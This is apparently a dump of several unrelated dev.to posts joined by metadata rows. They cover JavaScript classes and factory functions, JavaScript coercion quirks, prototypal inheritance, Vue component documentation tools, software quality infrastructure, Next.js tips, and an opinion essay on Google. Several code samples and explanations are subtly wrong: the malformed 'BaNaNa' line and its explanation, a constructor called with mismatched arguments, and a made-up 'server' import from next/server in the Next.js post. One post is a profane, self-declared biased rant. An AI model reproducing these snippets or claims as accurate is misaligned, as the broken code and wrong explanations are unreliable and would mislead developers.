## Different Ways to Declare an Object
### Class
```javascript
class ClassCar {
drive() {
console.log('Vroom!');
}
}
console.log(typeof ClassCar); // function
const car1 = new ClassCar();
console.log(car1.drive());
```
### Constructor Function
```javascript
function ConstructorCar() {}
ConstructorCar.prototype.drive = function () {
console.log('Vroom!');
};
console.log(typeof ConstructorCar); // function
const car2 = new ConstructorCar();
console.log(car2.drive());
```
### Factory Function
```javascript
const proto = {
drive() {
console.log('Vroom!');
},
};
const factoryCar = () => Object.create(proto);
console.log(typeof proto); // object
console.log(typeof factoryCar); // function
const car3 = factoryCar();
console.log(car3.drive());
```
Each of these strategies stores methods on a shared prototype and optionally supports private data via constructor function closures. In other words, they have mostly the same features and could mostly be used interchangeably. The question now is: you can, but should you?
## Factory Functions
We talked about constructor functions. We know that the `new` keyword is something that changes a regular function into a constructor function. If we want to free ourselves from the confines of the classical model, we have to embrace the prototypal model. In a prototypal model, objects inherit from objects. (Do you remember `Object.prototype`?) However, JavaScript lacks an operator that is responsible for such an operation. Instead, it has a `new` keyword that can produce a new object that inherits from `Object.prototype`. This was done on purpose to make it look familiar to classically trained programmers, but it failed miserably. It simply did not appeal to the classical crowd. Also, it obscured JavaScript from its real inheritance model.
## Should You Use Factory Functions Instead of Classes?
Much like `Array`, `class` is not a language feature; it’s syntactic obscurantism. It tries to hide the prototypical inheritance model and the clumsy idioms that come with it, and it implies that JavaScript is doing something that it is not. So, by design, there are no classes. However, JavaScript has all the necessary features to implement OOP; there was no need to add classes in ES6. It was added just so Java or C# developers can feel comfortable.
To put a fine point on that, a child of a prototype isn’t a copy of its prototype, nor is it an object with the same shape as its prototype. The child has a living reference to the prototype, and any prototype property that doesn’t exist on the child is a one-way reference to a property of the same name on the prototype.
Most of the time, classes in JavaScript don’t serve a good purpose; they are not really useful.
## Why We Should Not Use Classes
Much like `Array`, `class` is not a language feature; it’s syntactic obscurantism. It tries to hide the prototypical inheritance model and the clumsy idioms that come with it, and it implies that JavaScript is doing something that it is not. So, by design, there are no classes. However, JavaScript has all the necessary features to implement OOP; there was no need to add classes in ES6. It was added just so Java or C# developers can feel comfortable.
To put a fine point on that, a child of a prototype isn’t a copy of its prototype, nor is it an object with the same shape as its prototype. The child has a living reference to the prototype, and any prototype property that doesn’t exist on the child is a one-way reference to a property of the same name on the prototype.
Most of the time, classes in JavaScript don’t serve a good purpose; they are not really useful.
## Functional Programming for Life
In JavaScript, functions are first-class citizens. Functional programming is all about using functions to their fullest extent. Functional programming has come and gone and come back again. A couple of reasons why, in my humble opinion, we should try to understand the benefits of functional programming. One should just ask himself if factories are much more flexible than either constructor functions or classes, and they don’t lead people down the wrong path by tempting them with the `extends` keyword and deep inheritance hierarchies. There are many safer code reuse mechanisms you should favor over class inheritance, including functions and modules.
## Some Code to Prove It
So we could start with something like this:
```javascript
// class
class ClassCar {
drive() {
console.log('Vroom!');
}
}
console.log(typeof ClassCar); // function
const car1 = new ClassCar();
console.log(car1.drive());
```
And a little refactor using modules:
```javascript
// Car.js
export function drive() {
console.log('Vroom!');
}
export function stop() {
console.log('Stopping');
}
// app.js
import * as car from './Car';
car.drive();
car.stop();
```
So we got rid of two keywords here: `new` and `class`. As we see in the above example, we do not really need them to achieve what we want to achieve. Another example would be:
```javascript
class Child extends Parent {}
// instead we could do
const fun = parent(child());
```
Here we also saw another keyword `extends` that has come and gone. Do we really need it? Answer: not really.
A real-life example utilizing such a programming style would be the [Fastify](https://www.fastify.io/docs/latest/Reference/Plugins/) framework for Node.js backend development.
Moreover, on the frontend, React has also ditched the old concept of `React.Component` and has moved towards [functional components and hooks](https://reactjs.org/docs/hooks-intro.html).
## Summary
Classes in JavaScript make things look more familiar to classically trained developers. However, it is only a sugar coating, and when uncovered, it reveals JavaScript's true nature. And the true nature of JavaScript is prototypical inheritance. So, if you are not one of the developers coming from OOP programming languages like Java or C#, then I strongly suggest stopping using classes and favoring objects and functions, and moving on to modules. This will be extremely beneficial if you want to work in frameworks like React or Fastify. JavaScript, like any other language, has good and bad parts. Surely, one of the best parts is the lack of classes and class inheritance. It might take some effort and time to truly master prototypal inheritance, but it is surely worth it. | huudyy |
1,881,786 | Funny JavaScript, It'll make you Laugh and Cry | Even though Javascript is the most sought after language for developers all around the world, it is a... | 0 | 2024-06-09T04:46:56 | https://dev.to/grover_sumrit/funny-javascript-itll-make-you-laugh-and-cry-4925 | javascript, beginners, webdev, learning | Even though Javascript is the most sought after language for developers all around the world, it is a funny language, with nuances that can turn our everyday jobs hell. Some of the nuances will even have you laughing out loud.
### 1. JavaScript will have you go *BaNaNa*
Lets start with something that most of you would mostly know, the infamous joke in JS.
```
'"B" + "a" + +"a" + "a"; // -> BaNaNa
```
#### Explanation
The first part `"B"+"a"` will be a string concatenation. the magically part would be `+ + 'a'`, here first JS will try and type cast `+ 'a'` to a string, will would result in NaN getting concatenated to the string. The remaining would also be a simple concatenation, `+ 'a'`.
This would make the result go *BaNaNa*
### 2. Two `[]` are not equal
Array is not equal to an array 🤯
```
[] == ![]; //-> true
```
#### Explanation
The abstract equality operator will convert both sides to zero but for different reasons. Arrays are always truthy, the opposite of that would be `false`, which would then be coerced to a `0`. On the left it would be coerced to a `0`, because empty array is coerced to a number without becoming a boolean first, and empty arrays are coerced to 0, despite being truthy.
### 3. `true` is not equal to `[]` but also not to `![]`
```
true == []; // -> false
true == ![]; // -> false
```
#### Explanation
For the first statement, because we are using abstract equalities, the `[]` would be coerced to 0 and true will be coerced to 1. Hence `1 != 0`!
While in the second statement, `![]` would change to false, because `[]` is a truthy value.
### 4. `Object.is()` and `===` don't work respond the same
`Object.is()` determines if two values have the same value or not. It works similar(not the same) to the `===` operator.
```
Object.is(-0, 0); // -> false
-0 === 0; // -> true
```
#### Explanation
In JS, `-0` and `0` are strict equals but they are not the same value.
### 5. Minimal value is greater than zero
`Number.MIN_VALUE` is the smallest number, which is greater than zero:
```
Number.MIN_VALUE > 0; // -> true
```
#### Explanation
`Number.MIN_VALUE` is `5e-324`, the smallest positive number that can be represented with floating point precision(closest you can get to zero).
### 6. Precision of `0.1` + `0.2`
This will tickle your funny bone, the addition of 0.1 and 0.2 with accuracy you couldn't imagine.
```
0.1 + 0.2; // -> 0.30000000000000004
0.1 + 0.2 === 0.3; // -> false
```
#### Explanation
The response is not a bug but the *indented* behaviour, because our systems are 2 based systems, you can clearly express fractions whose denominator only has a prime factor of 2. In binary, 1/2, 1/4, 1/8 would all be expressed cleanly as decimals, while 1/5 or 1/10 would be repeating decimals.
### 7. Comparing 3 numbers
```
1 < 2 < 3; // -> true
3 > 2 > 1; // -> false
```
#### Explanation
This all happens because of type conversions, lets try and understand what is happening with code itself
```
1 < 2 < 3; // 1 < 2 -> true
true < 3; // true -> 1
1 < 3; // -> true
3 > 2 > 1; // 3 > 2 -> true
true > 1; // true -> 1
1 > 1; // -> false
```
---
### TL;DR
*JavaScript is a very funny language, and understanding it can be a pain, share this with your friends to give them a headache as well*
| grover_sumrit |
1,881,783 | Understanding JavaScript Inheritance: A Deep Dive into Prototypal and Constructor Patterns | A comprehensive exploration of JavaScript's inheritance model, focusing on prototypal and constructor patterns. | 0 | 2024-06-09T04:41:21 | https://dev.to/huudyy/understanding-javascript-inheritance-a-deep-dive-into-prototypal-and-constructor-patterns-2fa0 | javascript, inheritance, prototypes, oop | ---
title: Understanding JavaScript Inheritance: A Deep Dive into Prototypal and Constructor Patterns
published: true
description: A comprehensive exploration of JavaScript's inheritance model, focusing on prototypal and constructor patterns.
tags: [JavaScript, Inheritance, Prototypes, OOP]
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5rdr8xaabjx4pt2tqjrl.jpg
---
## Understanding JavaScript Inheritance: A Deep Dive into Prototypal and Constructor Patterns
## Introduction
In our previous [post](https://dev.to/huudyy/how-javascript-tries-to-imitate-classes-and-is-there-a-better-way-24pk), we explored how JavaScript tries to imitate classes and whether there is a better way. We discussed how JavaScript's `class` keyword is essentially syntactic sugar over its prototype-based inheritance model. Today, we will dive deeper into JavaScript's inheritance mechanisms, focusing on the differences between classical inheritance and prototypal inheritance, and clarifying some common confusions.
## JavaScript Inheritance
JavaScript was not designed to be an object-oriented programming (OOP) language, but it can still support OOP-style coding. Unlike classical inheritance, JavaScript uses prototypal inheritance, which can be implemented in two patterns:
- The prototypal pattern of prototypal inheritance.
- The constructor pattern of prototypal inheritance.
Unfortunately, JavaScript primarily uses the constructor pattern of prototypal inheritance. This decision was influenced by Brendan Eich's intention to make JavaScript look like Java, which uses classical inheritance. However, this has led to some confusion among developers.
## What is a Class?
Classes were introduced in ECMAScript 2015 (ES6) to provide a cleaner way to follow OOP patterns. Despite this, JavaScript still follows a prototype-based inheritance model. Classes in JavaScript are syntactic sugar over this model, making it easier for developers to build software around OOP concepts and bringing similarities to other OOP languages like C++ and Java.
### Before the `class` Keyword
```javascript
function Car(brand, model, color, price) {
this.brand = brand;
this.model = model;
this.color = color;
this.price = price;
}
const car = new Car("Marker", "Blue", "$3");
console.log(car);
```
### After the `class` Keyword
```javascript
class ClassCar {
constructor(brand, model, color, price) {
this.brand = brand;
this.model = model;
this.color = color;
this.price = price;
}
drive() {
console.log('Vroom!');
}
}
```
Ok, it does look cleaner and less verbose, but is the class a real class or is it something else? Let's find out:
```javascript
console.log(typeof ClassCar); // function
```
O wow, so the class actually hides something else behind itself. The MDN’s statement:
> "Classes are in fact 'special functions'"
is a bit misleading. It’s more accurate to say that classes are syntax sugar for constructor functions.
So as we took a quick look under the hood and saw what is going on there, we can say that:
1. A function with the `new` keyword is a constructor function.
2. Using the `new` keyword binds `car.__proto__` to `Car.prototype`.
## Prototype
The prototype allows the JavaScript engine to look up the methods and properties we are trying to call on an object. The prototypical relationships in JavaScript create a tree-like structure where the root is `Object.prototype`. Thus, every object in JavaScript inherits from the root, which is `Object.prototype`.
```javascript
console.log(Object.getPrototypeOf({}) == Object.prototype); // true
console.log(Object.getPrototypeOf(Object.prototype)); // null
```
We were just able to call a method on an empty object. That is magic (for those who do not know of prototypical inheritance). Let me explain it. First, JavaScript, in order to connect one object with another, has to create a 'link' or a 'reference'. How does JS do it? Really simple, it actually attaches it as another property on an object. Like so:
```javascript
{} // our empty object
[[Prototype]]:Object
constructor:ƒ Object()
hasOwnProperty:ƒ hasOwnProperty()
isPrototypeOf:ƒ isPrototypeOf()
propertyIsEnumerable:ƒ propertyIsEnumerable()
toLocaleString:ƒ toLocaleString()
toString:ƒ toString() // method we called
valueOf:ƒ valueOf()
__defineGetter__:ƒ __defineGetter__()
__defineSetter__:ƒ __defineSetter__()
__lookupGetter__:ƒ __lookupGetter__()
__lookupSetter__:ƒ __lookupSetter__()
__proto__ (get):ƒ __proto__()
__proto__ (set):ƒ __proto__()
```
Here we see that even though we did not create the property `[[Prototype]]`, it was added there automatically. It is something that real class-based languages like Java or C# do not have. For JavaScript, it is like an emergency source. When we try to call a method that does not exist on an object itself, the JS engine goes up the `prototype chain` and looks for it there. So in this case, the JS engine could not find it on our empty object, and instead went to a `[[Prototype]]` object and found it there. And if it did not find it there, it would throw an error:
```javascript
console.log(empty.toNumber()); // Uncaught TypeError: empty.toNumber is not a function
```
Here we come to the essence of classes in JavaScript. In regular OOP languages, a class is just a type that is instantiated at runtime. In JavaScript, however, we have an actual instance of an object attached to our object and it is called, you guessed it, a prototype.
## Summary
Classes in JavaScript were added because it was thought that people from other programming languages could pick up JS quickly. In some ways, this is true, but it also added extra confusion in terms of which approach is better. People not knowing how prototypal inheritance works want to simply `patch` it with classes. But as we saw earlier, a class is just a plain old function. There is nothing wrong with prototypal inheritance; it is just that the people responsible for JS development decided to go with the constructor pattern of prototypal inheritance.
In the next article, we will look at how to create objects with factory functions.
| huudyy |
1,881,784 | Comparing Vue Component Documentation tools | This article will compare 3 different tools for documenting and demoing Vue components. Vue-Doxen... | 0 | 2024-06-09T04:39:30 | https://dev.to/thejaredwilcurt/comparing-vue-component-documentation-tools-1b1f | vue, storybook, component, library | This article will compare 3 different tools for documenting and demoing Vue components.
* **Vue-Doxen** - The new hotness
* **Vue Styleguidist** - The old thing the community mostly ignored
* **Storybook** - The thing everyone has heard of, but no one really likes
<h3>Vue-Doxen</h3>
<a href="https://TheJaredWilcurt.com/vue-doxen">Vue-Doxen Website</a>
<ul>
<li>
<strong>Built using:</strong>
Glorius, Superior, Vue.js
</li>
<li>
<strong>Aimed at:</strong>
Anyone using Vue 3 for anything (component libraries, webapps, websites, whatever).
</li>
<li>
<strong>Logo</strong>
It's a little doggy! Also feautres a stretched dropshadow reminiscent of the 1970's aesthetic revival of the early 2000's, with a Western-esque slab font. But I mean, look at that dog though!
</li>
<li>
<strong>Future:</strong>
Fully open source and community driven. Importantly, most features can be handled by the broader Vue community/ecosystem since "it's just a Vue component".
</li>
<li>
<strong>Documentation</strong>
Great! Vue-Doxen practices "Documentation Driven Development". This means every new feature is documented first, which requires designing the API, and ensuring the API is as simple as possible to use, and therefor document. Once the feature is fully documented, it is implemented in the library. Any time a feature is changed, it is changed in the documentation first. This keeps the docs and code always in sync.
</li>
<li>
<strong>Interactive Component Demos</strong>
Yes. By just passing in your Vue component a props playground will be auto-generated on the fly including different controls for different prop types. It even supports using your own custom components for these prop controls as one-offs, or globally replacing what Vue-Doxen ships with.
</li>
<li>
<strong>Can turn off their CSS?</strong>
Yes! All styles are optional and customizable.
</li>
</ul>
<h3>Vue Styleguidist</h3>
<a href="https://vue-styleguidist.github.io">Vue Styleguidist Website</a>
<ul>
<li>
<strong>Built using:</strong>
Gross, pathetic, React and JSX
</li>
<li>
<strong>Aimed at:</strong>
Vue 2 users via Vue-CLI (Webpack) plugin. (But also works with Vue 3 + Vite)
</li>
<li>
<strong>Logo</strong>
They have the best logo in the entire Vue ecosystem. Respect.
</li>
<li>
<strong>Future:</strong>
Seems very limited. The maintainers have stated that many features and improvements they'd like to implement would require a total re-write to move away from React, but that would be an amount of effort too high to justify for such little usage the library gets. Let this be a lesson to everyone. Never use React for anything under any circumstance.
</li>
<li>
<strong>Documentation:</strong>
Very good. They have a ton of documentation and examples, everything is well written and easy to find.
</li>
<li>
<strong>Interactive Component Demos</strong>
Kind of. They expect you to create many tiny demos of the component with different prop setups. However the code is right under the demo and it is editable, so you can type whatever you want into the prop. This works fine for simple components where the props are mostly just strings, but struggles on more complex scenarios.
</li>
<li>
<strong>Can turn off their CSS?</strong>
Nope, and it can interfere with your component's styles.
</li>
</ul>
<h3>Storybook</h3>
<a href="https://storybook.js.org">Storybook Website</a>
<ul>
<li>
<strong>Built using:</strong>
Disgusting, low IQ, React and JSX
</li>
<li>
<strong>Aimed at:</strong>
<blockquote>
<em>
"React developers building a component library, and if that's not you, it's kind of a black hole of suffering"
</em>
<br>
- <a href="https://www.youtube.com/live/8117-JmjgOA?t=2h39m13s" target="_blank"><cite>Michael Chan</cite>, AKA Chantastic</a>, YouTuber known for making many <a href="https://www.youtube.com/@chromaticui/videos" target="_blank" rel="nofollow">Storybook tutorial videos</a>.
</blockquote>
</li>
<li>
<strong>Logo</strong>
It's just an S on a pink rectangle that is supposed to look like a book. It's not bad. A little boring. Doesn't have an animal at all, not sure what they were thinking.
</li>
<li>
<strong>Future:</strong>
Bad profit incentives will continue to lead to constant development and releases for features no one cares about, while the core feature of documenting and demoing components remains pretty bad and never gets improved. More and more focus on making nothing work with it unless it is a custom built plugin to lock people into "their ecosystem".
</li>
<li>
<strong>Documentation:</strong>
Some of the worst I've ever seen. Trying to do just basic stuff is a constant pain. Everything you want to find on their docs takes a minimum of 75 minutes of research, and that's even if it's there at all, which it just may not be. Truly awful. Abysmal.
</li>
<li>
<strong>Can turn off their CSS?</strong>
Nope, and it will interfere with your component's styles.
</li>
<li>
<strong>Interactive Component Demos</strong>
Yes. Their props can have controls to interact with the component in real time. The documentation around this is terrible, and they call a prop control <em>"a knob"</em>, which is also slang for <a href="https://www.urbandictionary.com/define.php?term=Knob">"a penis or a dumb-ass"</a>.
</li>
<li>
<strong>Would they kick a dog?</strong>
Yes. They are actually evil. When looking into how to set up Storybook for the first time, I found out, after 90 minutes of trying, there was no way to turn off their spyware without installing it first, and letting it spy on you <em>at least once</em>. AND THEN you can """"opt-out"""" through an obscure setting in a random file. This is just straight up fucking evil. Fuck these people. You don't end up in this situation on accident. Fuck them. Honestly don't know how they haven't been sued over this. They do not respect you. They do not respect your privacy. Their product is bad. Fuck them.
</li>
</ul>
And thus concludes this entirely unbiased comparison. | thejaredwilcurt |
1,869,901 | Software Quality Infrastructure Components | ensure the development, maintenance, and continuous improvement of high-quality software... | 27,552 | 2024-06-09T03:42:45 | https://dev.to/developedbyjk/software-quality-infrastructure-components-2hj7 | software, softwarequality, softwaretesting, components | >_ensure the development, maintenance, and continuous improvement of high-quality software products._
---
### **1. 📋 Quality Management System (QMS)**
>_A system that documents processes and responsibilities for achieving quality policies and objectives._
- Ensures consistency in software development processes.
- Aligns project activities with quality standards.
- Provides a framework for continuous improvement.
**Example**: ISO 9001 Certification
- **Usage**: ISO 9001 helps organizations establish a quality management system that meets customer requirements and customer satisfaction
---
### **2. 📚 Standards and Guidelines**
>_Documents that provide frameworks and best practices for software development and quality assurance_
- Define quality criteria and performance standards.
- Guide developers and testers in their tasks.
- Help maintain consistency and compliance.
**Example**: ISO/IEC 25010
- **Usage**: ISO/IEC 25010 provides a model for evaluating software quality, like functionality, reliability, and usability etc
---
### **3. 🔍 Quality Assurance (QA) Processes**
>_Structured processes to ensure the software meets specified requirements and standards in quality_.
- Involves planning and systematic monitoring.
- Identifies defects early in the development cycle.
- Ensures that processes are followed correctly.
**Example**: Test Planning
- **Usage**: Test planning involves creating detailed test plans that outline testing strategies, resources, schedules, and deliverables, ensuring thorough and systematic testing.
---
### **4. 🧪 Quality Control (QC) Activities**
>_Operational techniques and activities used to fulfill requirements for quality control_
- Involves various types of testing (unit, integration, system).
- Conducts code reviews and inspections.
- Ensures that the product meets quality standards before release.
**Example**: Unit Testing
- **Usage**: Unit testing involves testing individual components or modules of the software to ensure they work as intended, helping to identify and fix bugs early.
---
### **5. 🤖 Automated Testing Tools**
>_Software tools that automate repetitive but necessary tasks in the testing process._
- Increase efficiency and test coverage.
- Reduce human errors in testing.
- Allow for continuous testing and integration.
**Example**: Selenium
Selenium automates web browser testing, allowing testers to write scripts in various programming languages to test web applications across different browsers and platforms
---
### **6. 🛠️ Configuration Management**
>_Processes and tools for managing changes in software to ensure consistency_
- Tracks and controls changes to the software codebase.
- Maintains version control and history.
- Supports continuous integration and deployment.
**Example**: Git
**Usage**: Git is a version control system that helps teams manage changes to the source code over time, enabling collaboration and maintaining a history of changes.
---
### **7. 🐛 Defect Tracking Systems**
>_Systems used to track and manage defects and issues in software._
- Record and prioritize defects.
- Assign defects to responsible team members.
- Track the progress of defect resolution.
**Example**: JIRA
**Usage**: JIRA is used to log and track bugs, assign tasks, and monitor the status of defects, ensuring that issues are addressed promptly and effectively.
---
### **8. 📈 Metrics and Measurement Tools**
>_Tools and processes for collecting, analyzing, and reporting data related to software quality_
- Provide insights into software performance.
- Help identify areas for improvement.
- Enable data-driven decision-making.
**Example**: SonarQube
**Usage**: SonarQube analyzes code quality and provides metrics on code complexity, duplication, and potential bugs, helping teams improve code maintainability and quality.
---
### **9. ⚠️ Risk Management**
>_Processes to identify, assess, and mitigate risks throughout the software development lifecycle._
- Identifies potential risks early.
- Assesses the impact and likelihood of risks.
- Develops strategies to mitigate risks.
**Example**: Risk Analysis Sessions
**Usage**: Risk analysis sessions involve brainstorming potential risks, evaluating their impact and likelihood, and developing mitigation plans to minimize their effect on the project.
---
### **10. 🎓 Training and Certification Programs**
>_Programs to ensure that team members have the necessary skills and knowledge to perform their roles effectively_
- Provide ongoing education and skill development.
- Ensure team members are up-to-date with industry practices.
- Enhance the overall competence of the team.
**Example**: Certified Software Quality Engineer (CSQE)
**Usage**: The CSQE certification validates a professional’s understanding of quality principles and practices, enhancing their ability to contribute to quality improvement efforts.
---
### **11. 🔄 Continuous Improvement Processes**
>_Mechanisms for ongoing evaluation and improvement of software quality practices_
- Encourage regular reviews and feedback loops.
- Implement lessons learned from past projects.
- Foster a culture of continuous enhancement.
**Example**: Agile Retrospectives
**Usage**: Agile retrospectives involve team meetings at the end of each sprint to discuss what went well, what didn’t, and how processes can be improved, leading to continuous process improvement.
---
### **12. 🗂️ Documentation and Knowledge Management**
>_Maintaining comprehensive documentation for processes, procedures, requirements, design specifications, test cases, and user manuals._
- Ensures all project information is accessible.
- Facilitates knowledge sharing and collaboration.
- Supports maintenance and future development.
**Example**: Confluence
**Usage**: Confluence is a collaboration tool used to create, share, and organize documentation and knowledge, enabling teams to keep project information centralized and accessible.
---
### **13. 🗣️ Customer Feedback Mechanisms**
>_Processes and tools for collecting and analyzing feedback from end-users and stakeholders_
- Gather insights on user experience and satisfaction.
- Identify areas for improvement based on user input.
- Enhance product quality and customer satisfaction.
**Example**: User Surveys
**Usage**: User surveys collect feedback on user satisfaction, usability issues, and desired features, helping teams understand user needs and prioritize improvements.
---
### **14. ✔️ Compliance and Audit Mechanisms**
>_Regular audits and compliance checks to ensure adherence to standards, regulations, and internal policies_
- Ensure software meets legal and regulatory requirements.
- Verify adherence to internal standards and procedures.
- Identify areas of non-compliance and address them.
**Example**: Internal Audits
**Usage**: Internal audits involve systematically reviewing processes and practices to ensure compliance with standards and identifying areas for improvement.
---
### **15. 💻 Integrated Development Environments (IDEs)**
>_IDEs that support software development with features like code editing, debugging, and version control integration_
- Enhance productivity with built-in tools and features.
- Provide debugging and code analysis capabilities.
- Integrate with version control systems for efficient collaboration.
**Example**: Visual Studio
**Usage**: Visual Studio provides a comprehensive development environment with tools for coding, debugging, and version control integration, supporting efficient and high-quality software development. | developedbyjk |
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| melissa_james_b37dbd5597b |
1,881,779 | 5 Essential Tips and Tricks for Mastering Next.js | Hello, my gorgeous friends on the internet! In today’s blog, we’re diving into five essential tips... | 0 | 2024-06-09T04:28:29 | https://dev.to/vyan/5-essential-tips-and-tricks-for-mastering-nextjs-1p7g | webdev, nextjs, react, beginners | Hello, my gorgeous friends on the internet! In today’s blog, we’re diving into five essential tips and tricks for working with Next.js. There’s still a lot of confusion around topics like caching, rendering client components, and more, so I’m here to give you some valuable insights to make your Next.js development smoother and more efficient.
Now, let’s get into the tips!
**Tip 1: Handling Images in Next.js**
Local Images
One common area of confusion in Next.js is handling images, particularly the differences between local and remote images.
For local images stored in the `public` folder, you don’t need to specify width and height. Next.js will automatically identify these attributes.
**Example:**
```jsx
import Image from 'next/image';
import myImage from '../public/ahoy.jpg';
export default function Home() {
return (
<div>
<Image src={myImage} alt="Ahoy" />
</div>
);
}
```
**Remote Images**
For remote images, you need to provide additional information such as width, height, and blur data to improve loading performance and avoid content layout shifts.
**Example:**
To add a blur effect to remote images, use the `sharp` and `placeholder` packages to generate base64-encoded blur data.
1.Install the packages:
```bash
npm install sharp placeholder
```
2.Create a utility function:
```jsx
import placeholder from 'placeholder';
import sharp from 'sharp';
export async function getBase64(url) {
const res = await fetch(url);
const buffer = await res.arrayBuffer();
const base64 = await placeholder(buffer);
return base64;
}
```
3.Use the function in your component:
```jsx
import { getBase64 } from './utils/getBase64';
export default async function Home() {
const blurData = await getBase64('https://source.unsplash.com/random');
return (
<Image
src="https://source.unsplash.com/random"
width={800}
height={600}
alt="Random"
placeholder="blur"
blurDataURL={blurData}
/>
);
}
```
**Tip 2: Environment Variables**
When using environment variables, be mindful of the `NEXT_PUBLIC_` prefix. Variables with this prefix are exposed to the browser, making them accessible in client-side code. This is useful for public settings but can be a security risk if used with sensitive information like API keys.
- **Public Variables:** Prefixed with `NEXT_PUBLIC_` and exposed to the client.
- **Private Variables:** Not prefixed and kept server-side.
**Example:**
```env
NEXT_PUBLIC_API_URL=https://api.example.com
API_SECRET_KEY=your-secret-key
```
**Tip 3: Caching in Next.js**
Caching behavior in Next.js can be quite different between development and production environments.
**Development:**
In development, pages refresh dynamically, reflecting changes immediately.
**Production:**
Next.js tries to render pages as static by default. To control this, use the `revalidate` option for incremental static regeneration or `force-dynamic` for always fetching fresh data.
**Example:**
```jsx
// Revalidate every 5 seconds
export const revalidate = 5;
// Force dynamic data fetching
export const dynamic = 'force-dynamic';
```
**Tip 4: Fetching Data Efficiently**
Avoid using API route handlers for fetching data in server components. Instead, fetch data directly in your server components. This approach leverages Next.js optimizations and caching.
**Example:**
```jsx
// Direct fetch in a server component
export default async function Home() {
const res = await fetch('https://api.example.com/jokes/random');
const data = await res.json();
return <div>{data.joke}</div>;
}
```
For reusable fetch logic, create server actions and import them where needed.
```jsx
// server/getJoke.js
import { server } from 'next/server';
export async function getJoke() {
const res = await fetch('https://api.example.com/jokes/random');
const data = await res.json();
return data;
}
// Home.js
import { getJoke } from '../server/getJoke';
export default async function Home() {
const joke = await getJoke();
return <div>{joke.joke}</div>;
}
```
**Tip 5: Client and Server Components**
Understanding the difference between client and server components is crucial. By default, pages are server components, but you can include client components within them for interactivity.
**Example:**
```jsx
// Client component
'use client';
import { useState } from 'react';
export default function ClientComponent() {
const [count, setCount] = useState(0);
return (
<button onClick={() => setCount(count + 1)}>
Count: {count}
</button>
);
}
// Server component
import ClientComponent from '../components/ClientComponent';
export default function Home() {
return (
<div>
<ClientComponent />
</div>
);
}
```
**Providers and Child Components**
When wrapping components with providers (e.g., for theming), ensure children are treated correctly as server or client components.
**Example:**
```jsx
// theme.js
import { ThemeProvider } from 'styled-components';
export default function Theme({ children }) {
return <ThemeProvider theme={{}}>{children}</ThemeProvider>;
}
// layout.js
import Theme from '../components/theme';
export default function Layout({ children }) {
return (
<Theme>
{children}
</Theme>
);
}
```
**Conclusion**
I hope these tips and tricks help clarify some common ambiguities in Next.js.
| vyan |
1,881,778 | Does Google owe us money? | I'm going to reuse part of a comment I made in relation to a post by a fellow Dev community which... | 0 | 2024-06-09T04:24:47 | https://dev.to/duendeintemporal/does-google-owe-us-money-ibf | google, browser, adds, development | I'm going to reuse part of a comment I made in relation to a post by a fellow Dev community which alluded to Google's algorithm and how it somewhat arbitrarily decides whether or not a site is relevant to be placed among the search results or is even considered span. It seems to me that it is something more serious than just the impact it may cause to small businesses or personal sites, it is rather about the imposition of a market model on a rather complex habitat such as the web, with the background of knowledge as another market product and "information" subject to a guideline that supports the proposed model and clouds any alternative that arises in the process. The comment goes as follows:
“It's interesting, because I've been wanting to publish a post that narrates something similar for a while. I don't know what´s the case is in other latitudes, but at least here in Venezuela Google has long since ceased to be a reliable source of information. I remember at one time it gave a fairly high number of relevant results to any search, and now it is limited to trying to sell you some portable memory, some new technology or whatever comes to mind, but the truth is that already in the first 10 results comes a load of advertising and normally after one 15 sometimes much less stop being relevant results
It is worrying, because one can feel an interest of the giant in hiding valuable information and thus making knowledge just another market product. Another worrying thing is that in any "smart" telephone comes by default a Google application that not only spies on you, but also if you take on the task of deleting it. You find that one is almost impossible and two your phone just doesn't work properly when you disable it
I think we already have enough borders to manufacture more virtually, it seems to me that we are in time to join forces as thinking beings, to avoid not only a communicational wall, but the privatization of knowledge. Knowledge is universal, transmitting it and acquiring it is the way we have to emancipate ourselves and evolve as thinking beings. I think Google should Indemnification the general population for the way it makes use of advertising and information, skewing much of reality.
Many are unaware that a selfish can mean sending metadata hidden in the file.jpg with your location. It may seem like a trivial or unimportant fact, but when there is a whole marketing network determined to capture you for some of their brand new needs of the day to acquire. And the need for a market and a system of governments call it the Deep State or whatever you want, to maintain world control and a population focused on survival or make money to survive.
It can be a risk to life, be an environmental activist or be in search of social vindications and have an application that sends your location every so often, seconds? It is an interesting topic, because in the same way that Google hides small sites that have no relation to its commercial interests, in some way it contributes to what is consumed by the majority of the masses, which often does not go beyond sex, football, politics and religion... by unknowing other windows that could broaden their perspective and provide new nuances.
I think they owe more respect to us, and some money too…”
Now more calmly and trying to expand the information on some points. One can feel like the character played by Will Smith in Public Enemy.
One of the points that I hinted at in the commentary, but that I did not give myself the task of developing, is the informative bias and the simultaneous manufacture of passing tendencies (which is not something new), but the seriousness of the situation is that at this moment we can say that we are communicated in real time or rather partially communicated (it is worth paraphrasing the author of the book "The Visual Treat" when he talks about monopoly Web Portals, Holdings, Media, Hardware Factories and Patents, etc... and how "they control what is seen and what is not seen") and it is quite relevant to say it, because this is a community of developers very involved in the way the web is built, and even more so how interpersonal relationships converge that are increasingly subject to technology and a virtual environment.
It is important to note that even in this century and for the present day, not everyone has a computer or an internet connection or even regular access to it. Although practically anyone has a smartphone, many limit its use to a chat application or social network and are oblivious to the endless alternatives that arise at the level of applications in various areas, and how to use these as tools to develop and advance in some area.
I think that part of the problem that also affects us as developers, is that in the race to survive and go hand in hand with the reigning technologies, we are overlooking the social commitment and the dimensions that the current society in which we live is taking, which is not limited to a web environment or a circle of acquaintances. Where large transnationals, giants such as Google or passing governments, manage obscene amounts of capital and many people are forced to survive on less than $5 a week.
If we observe that it is precisely this information bias that keeps most of the mass in the dark and also undoubtedly forges future obstacles, such as many black boxes that hide the real functioning of the processes and a population enslaved to a given pattern... We find ourselves in the need to put a stop to these small power groups and initiate joint legal processes that force these transnationals and technological giants to compensate the general population of the planet, not just a small group.
Well, since there is a technology that can centralize a given context and validate a broad consensus of the population to support a legal basis, I think it is time to think together as developers how to respond to historical social problems and not limit ourselves to deploy and app. I insist Google owes us money. And knowledge must be free, freedom is about knowledge.
| duendeintemporal |
